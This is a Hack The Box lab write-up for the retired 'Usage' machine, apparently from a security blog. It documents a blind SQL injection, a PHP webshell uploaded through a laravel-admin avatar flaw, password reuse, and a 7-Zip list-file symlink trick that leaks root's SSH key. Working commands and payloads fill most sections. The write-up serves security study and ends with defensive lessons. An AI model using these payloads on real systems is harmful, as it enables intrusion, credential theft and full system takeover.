root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat usage.md
// writeups

Usage

13 Apr 2024 · 18 min read
Usage - maquina de Hack The Box

Executive summary — Usage combines a blind SQL injection in a Laravel blog's password-reset flow with an unvalidated file upload in its admin panel (CVE-2023-24249 in laravel-admin), which yields a PHP webshell and RCE. The escalation chains two password-reuse steps — first from a Monit config file, then a lesser-known abuse of 7-Zip: a sudo-enabled binary that archives an attacker-writable directory can be turned into a primitive to leak, line by line, any file on the system — including root's SSH private key.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.37.225

Attack map

[80] usage.htb — blind SQLi in /forget-password (Laravel)
   │  dump admin_users → bcrypt hash → cracked: admin:whatever1
   ▼
[80] admin.usage.htb — Laravel-Admin panel
   │  CVE-2023-24249 — unvalidated avatar upload → PHP webshell
   ▼
[RCE]  dash  (user.txt)
   │  ~/.monitrc leaks admin:3nc0d3d_pa$$w0rd, reused by xander
   ▼
[SU]  xander
   │  sudo NOPASSWD /usr/bin/usage_management → 7za -- * on /var/www/html (777)
   │  7-Zip wildcard file-read (@listfile) → /root/.ssh/id_rsa
   ▼
[ROOT]  SSH with the leaked private key → root.txt

1. Reconnaissance and web enumeration

The lab didn't offer passwordless sudo to edit /etc/hosts, so most enumeration used curl --resolve instead of real vhosts on the system:

echo "10.129.37.225 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
# No-sudo alternative:
curl --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 http://usage.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m3_allports.txt 10.129.37.225
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -sT -sCV -p22,80 -Pn -oN m3_services.txt 10.129.37.225
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/

nginx redirects to usage.htb — virtual hosting is in play:

curl -s --resolve usage.htb:80:10.129.37.225 http://usage.htb/ | grep -oiE '<title>|href='
<title>Daily Blogs</title>
href="http://usage.htb/login"
href="http://usage.htb/registration"
href="http://usage.htb/forget-password"
href="http://admin.usage.htb/"          <-- admin subdomain

A Laravel blog app with login, registration, password reset, and an admin panel under the admin.usage.htb subdomain. Checking the forms:

R() { curl -s -c cj.txt -b cj.txt --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 "$@"; }

# forget-password
R http://usage.htb/forget-password | grep -oiE 'name="[^"]*"|action="[^"]*"'
# name="_token"   name="email"   action=".../forget-password"

# admin.usage.htb
R http://admin.usage.htb/ | grep -oiE '<title>[^<]*|name="[^"]*"|laravel'
# <title>Admin | Login</title>   username / password / _token   (laravel-admin)

admin.usage.htb is a Laravel-Admin panel (the encore/laravel-admin package) — a key fact to remember for later.

2. Foothold (I) — blind SQLi in /forget-password

The password-reset flow queries the database with the supplied email. Comparing responses reveals a boolean oracle:

  • Nonexistent email → 302 back to /forget-password, no error trace.
  • A single-quote payload email=a' → the page responds with the word "Error" — a mishandled SQL syntax error.
freshtok() { R http://usage.htb/forget-password \
   | grep -oE 'name="_token"[^>]*value="[^"]*"' \
   | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//'; }

T=$(freshtok)
R -X POST http://usage.htb/forget-password \
   --data-urlencode "_token=$T" --data-urlencode "email=a'" | grep -i error
# -> "Error"  (SQLi indicator)

The form carries a CSRF token (_token) that changes on every request — it has to be refreshed before each attempt, which sqlmap can automate with --csrf-url/--csrf-token. Since it has no --resolve, it targets the IP directly with the Host header, and --csrf-url forces single-threaded mode (--threads is incompatible with CSRF renewal).

sqlmap -u "http://10.129.37.225/forget-password" \
  --data="_token=x&email=test@usage.htb" -p email \
  --csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
  -H "Host: usage.htb" \
  --batch --dbms=mysql --level=2 --risk=2 --current-db
POST parameter 'email' is 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
    Payload: _token=x&email=test@usage.htb' AND 6248=(SELECT (CASE WHEN (6248=6248)
             THEN 6248 ELSE (SELECT 7132 UNION SELECT 6772) END))-- -
back-end DBMS: MySQL >= 8.0.0
current database: 'usage_blog'

With the injection confirmed, the admin panel's credential table is dumped:

sqlmap -u "http://10.129.37.225/forget-password" \
  --data="_token=x&email=test@usage.htb" -p email \
  --csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
  -H "Host: usage.htb" \
  --batch --dbms=mysql -D usage_blog -T admin_users -C id,username,password --dump
Table: admin_users
| id | username | password                                                     |
| 1  | admin    | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > admin.hash
john admin.hash --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
whatever1

Panel credentials: admin : whatever1.

3. Foothold (II) — RCE in Laravel-Admin (CVE-2023-24249)

A() { curl -s -c cja.txt -b cja.txt --resolve admin.usage.htb:80:10.129.37.225 "$@"; }

T=$(A http://admin.usage.htb/admin/auth/login \
    | grep -oE 'name="_token"[^>]*value="[^"]*"' \
    | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)

A -i -X POST http://admin.usage.htb/admin/auth/login \
   --data-urlencode "_token=$T" \
   --data-urlencode "username=admin" \
   --data-urlencode "password=whatever1" \
   --data-urlencode "remember=1"
# 302 -> http://admin.usage.htb/admin   (valid session)

CVE-2023-24249: in vulnerable laravel-admin versions, the user profile's avatar upload (/admin/auth/setting) doesn't properly validate the uploaded file's extension or type. A .php file can slip through and ends up reachable at public/uploads/images/…, where the server interprets and runs it as ordinary PHP — the classic problem of treating an upload folder as "data" when it's actually "servable code".

A http://admin.usage.htb/admin/auth/setting | grep -oiE 'name="[^"]*"|enctype|type="file"'
# enctype=multipart/form-data   name="_token"  name="_method"(=PUT)  name="name"  name="avatar"(file)

The form uses Laravel method spoofing (_method=PUT). A trivial webshell disguised as an image is uploaded:

printf '<?php system($_GET["c"]); ?>\n' > shell.php

T=$(A http://admin.usage.htb/admin/auth/setting \
    | grep -oE 'name="_token"[^>]*value="[^"]*"' \
    | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)

A -i -X POST http://admin.usage.htb/admin/auth/setting \
   -F "_token=$T" -F "_method=PUT" -F "name=Administrator" \
   -F "avatar=@shell.php;type=image/png;filename=shell.php" \
   -F "after-save=1"
# 302 -> /admin/auth/setting

A http://admin.usage.htb/admin/auth/setting | grep -oiE 'uploads/[^"'\'' ]*'
# uploads/images/shell.php

The declared content-type/extension in the request (image/png) don't matter: the server only validates the filename's extension, and the real content is plain PHP. The file is served from the admin vhost:

curl -s --resolve admin.usage.htb:80:10.129.37.225 \
  "http://admin.usage.htb/uploads/images/shell.php?c=id;whoami;hostname"
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash
usage

RCE confirmed as the dash user. For a more comfortable foothold than the HTTP webshell, an SSH key of our own is planted:

PUB=$(cat artkey.pub)     # own ed25519 public key
CMD="mkdir -p /home/dash/.ssh && echo '$PUB' >> /home/dash/.ssh/authorized_keys \
     && chmod 700 /home/dash/.ssh && chmod 600 /home/dash/.ssh/authorized_keys && echo KEYOK"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$CMD")
curl -s --resolve admin.usage.htb:80:10.129.37.225 \
  "http://admin.usage.htb/uploads/images/shell.php?c=$ENC"     # KEYOK

ssh -i artkey dash@10.129.37.225 'id; cat ~/user.txt'
uid=1000(dash) gid=1000(dash) groups=1000(dash)
5499e192f6a3cb0f6bff5563958c6a1b

🚩 user.txt: 5499e192f6a3cb0f6bff5563958c6a1b

4. Escalation 1 — dash to xander (password reuse)

Enumerating dash's home directory turns up a Monit config file (a process-monitoring tool with its own local HTTP interface):

cat ~/.monitrc
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd     <-- credential in plaintext
...

The password 3nc0d3d_pa$$w0rd — meant to authenticate to Monit's local HTTP panel — is reused by the real system account xander: the same credential-recycling pattern that keeps showing up on this kind of box.

su xander           # password: 3nc0d3d_pa$$w0rd
id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

(In practice, the password-based user switch was automated with pexpect, answering su's prompt.)

5. Escalation 2 — xander to root (7-Zip wildcard file leak)

sudo -l
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
/usr/bin/usage_management
# Choose an option:
# 1. Project Backup
# 2. Backup MySQL data
# 3. Reset admin password

strings /usr/bin/usage_management | grep -iE '7za|/var/www|chdir|mysqldump'
chdir
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql

Option 1 (Project Backup) runs, as root, chdir("/var/www/html") followed by 7za a ... -- *. The * wildcard is expanded by the shell itself inside /var/www/html — a directory with 777 permissions:

ls -ld /var/www/html
drwxrwxrwx 4 root xander 4096 ... /var/www/html

The technique: 7-Zip treats any argument starting with @ as a list file: instead of archiving that literal name, it opens the file and treats each line of its contents as an additional filename to add to the archive. Since the attacker fully controls the directory being archived, this condition can be engineered directly:

  • Create a symlink id_rsa pointing at the target file (/root/.ssh/id_rsa).
  • Create an empty file named @id_rsa (same name, with an at-sign in front).
  • When * expands, 7za receives both @id_rsa and id_rsa. It processes @id_rsa as a list file → opens id_rsa (the symlink) → reads the contents of root's private key and tries to treat each line as a filename to archive. Since those "files" don't exist, 7za reports them, line by line, in its warnings section — leaking the entire key contents through a side channel never meant for data exfiltration.
cd /var/www/html
ln -s /root/.ssh/id_rsa id_rsa
touch @id_rsa
echo "1" | sudo /usr/bin/usage_management 2>&1
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
Scan WARNINGS for files and folders:
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
...

Bonus with the same trick: pointing the symlink straight at /root/root.txt (ln -s /root/root.txt root.txt; touch @root.txt) leaks the root flag directly, with no need to even reconstruct the key.

Each leaked line carries the suffix : No more files; stripping the carriage return (\r) SSH introduces and removing that suffix reconstructs the original key file:

tr -d '\r' < sevenz_raw.txt > sevenz_clean.txt
{
  echo "-----BEGIN OPENSSH PRIVATE KEY-----"
  grep " : No more files" sevenz_clean.txt | sed 's/ : No more files$//' \
    | grep -vE "BEGIN OPENSSH|END OPENSSH"
  echo "-----END OPENSSH PRIVATE KEY-----"
} > root_id_rsa
chmod 600 root_id_rsa

ssh -i root_id_rsa root@10.129.37.225 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)
daaa314f0b7df81b3b43d12d026011bd

🚩 root.txt: daaa314f0b7df81b3b43d12d026011bd

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold I/forget-password (Laravel)Boolean blind SQLi in the email parameterAdmin panel credential dump
Foothold IIlaravel-admin panelCVE-2023-24249 — unvalidated avatar extension on uploadRCE as dash (user.txt)
Lateral movement~/.monitrcPlaintext Monit credential reused on xander's OS accountAccess as xander
PrivEscusage_management (sudo NOPASSWD) + 7-ZipWildcard * over a 777 directory + list file (@name) file leakRoot (root.txt) via leaked SSH key

Lessons learned

  • A password-reset form with improperly parameterized queries is a low-friction SQLi: a generic error message is already enough to serve as a boolean oracle.
  • Validating an "avatar" upload only by client-declared MIME type is worthless if the server then interprets the actual file content based on its extension — validation has to be content-based, and uploads should never live in a path with code-execution permissions.
  • Credentials for monitoring tools (Monit, Nagios, Zabbix…) often live in readable config files and get reused far too often on real system accounts.
  • Allowing sudo on a binary that archives a user-writable directory is an escalation vector even if the binary itself has no bug: the problem is the combination of 777 permissions + a wildcard + a tool (7-Zip) with special handling for arguments starting with @.
  • 7-Zip's list-file trick (@name) is a lesser-known arbitrary file-read primitive: any 7-Zip invocation with wildcards over an untrusted directory can become a full, line-by-line exfiltration channel for the contents of any file the process can reach.